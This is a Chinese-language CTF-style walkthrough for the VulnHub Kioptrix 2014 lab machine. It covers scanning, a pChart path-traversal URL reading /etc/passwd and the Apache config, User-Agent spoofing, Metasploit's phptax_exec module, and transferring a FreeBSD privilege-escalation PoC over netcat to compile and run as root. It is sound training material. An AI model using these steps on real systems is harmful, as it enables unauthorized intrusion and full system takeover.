Kioptrix5 WalkThrough

Kioptrix5-WalkThrough

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.

靶机地址

https://www.vulnhub.com/entry/kioptrix-2014-5,62/

Description

As usual, this vulnerable machine is targeted at the beginner. It's not meant for the seasoned pentester or security geek that's been at this sort of stuff for 10 years. Everyone needs a place to start and all I want to do is help in that regard.

Also, before powering on the VM I suggest you remove the network card and re-add it. For some oddball reason it doesn't get its IP (well I do kinda know why but don't want to give any details away). So just add the VM to your virtualization software, remove and then add a network card. Set it to bridge mode and you should be good to go.

This was created using ESX 5.0 and tested on Fusion, but shouldn't be much of a problem on other platforms.

Kioptrix VM 2014 download 825Megs

MD5 (kiop2014.tar.bz2) = 1f802308f7f9f52a7a0d973fbda22c0a

SHA1 (kiop2014.tar.bz2) = 116eb311b91b28731855575a9157043666230432

Waist line 32"

p.s.: Don't forget to read my disclaimer...

Works out of the box with VMware workstation 10, player 6, fusion 6 (Can edit the vmx file to force a downgrade for an older version - see 'kiop2014_fix.zip'). Has been known to work with Virtualbox 4.3 or higher... First thing: try setting it to a x64 machine. Then check: http://download.vulnhub.com/kioptrix/kiop2014_fix.zip.

知识点

LFI
自定义 User-agent
phptax 漏洞利用
freebsd 提权

实验环境

环境仅供参考

VMware® Workstation 15 Pro - 15.0.0 build-10134415
kali : NAT 模式,192.168.141.134
靶机 : NAT 模式

前期-信息收集

开始进行 IP 探活

nmap -sP 192.168.141.0/24

排除法,去掉自己、宿主机、网关, 192.168.141.147 就是目标了

扫描开放端口

nmap -T5 -A -v -p- 192.168.141.147

一个 SSH，2个 web,从 web 先入手

看来都需要爆破目录了

dirb http://192.168.141.147
dirb http://192.168.141.147:8080

啥都没有,再看看 index.html

有个 pChart2.1.3,访问看看

中期-漏洞利用

有点意思,找找它的漏洞

searchsploit -w pChart

访问 https://www.exploit-db.com/exploits/31173,发现有个目录遍历可以利用下

http://192.168.141.147/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

尝试使用这个漏洞挖掘更多的信息

爆了半天，没爆出 httpd 配置文件，google 了一下发现别人爆出来是 http://192.168.141.147/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

想不出来这个 apache22 是怎么爆出来的，难不成是看 apache 版本号?

看了下 httpd.conf 的内容,发现 8080 只允许 user-agent 为 Mozilla/4.0 Mozilla4_browser 才能访问

firefox 可以自定义 user-agent

访问 about:config,搜索 general.useragent.override

输入 Mozilla/4.0 Mozilla4_browser,再访问 192.168.141.147:8080

ok,有东西了,点进去看看

看起来这东西有一定年头了,搜了下这是个叫 phptax 的纳税工具,MSF 有个可利用的模块

msfconsole
use exploit/multi/http/phptax_exec
options
set RHOSTS 192.168.141.147
set RPORT 8080
run

下面尝试提权

后期-漏洞利用

查看一些基本信息

/bin/sh -i
uname -a

searchsploit -w freebsd 9.0

kali 访问 https://www.exploit-db.com/download/26368,下载 poc

kali 下载完启 HTTP

wget https://www.exploit-db.com/download/26368
mv 26368 poc.c
nc -lvp 1234 < poc.c

靶机下载 kali 上的 poc

cd /tmp
nc -nv 192.168.141.134 1234 > poc.c
gcc poc.c
ls
./a.out

提权成功,感谢 Kioptrix Team 制作的系列靶机

PreviousKioptrix4 WalkThrough NextMission-Pumpkin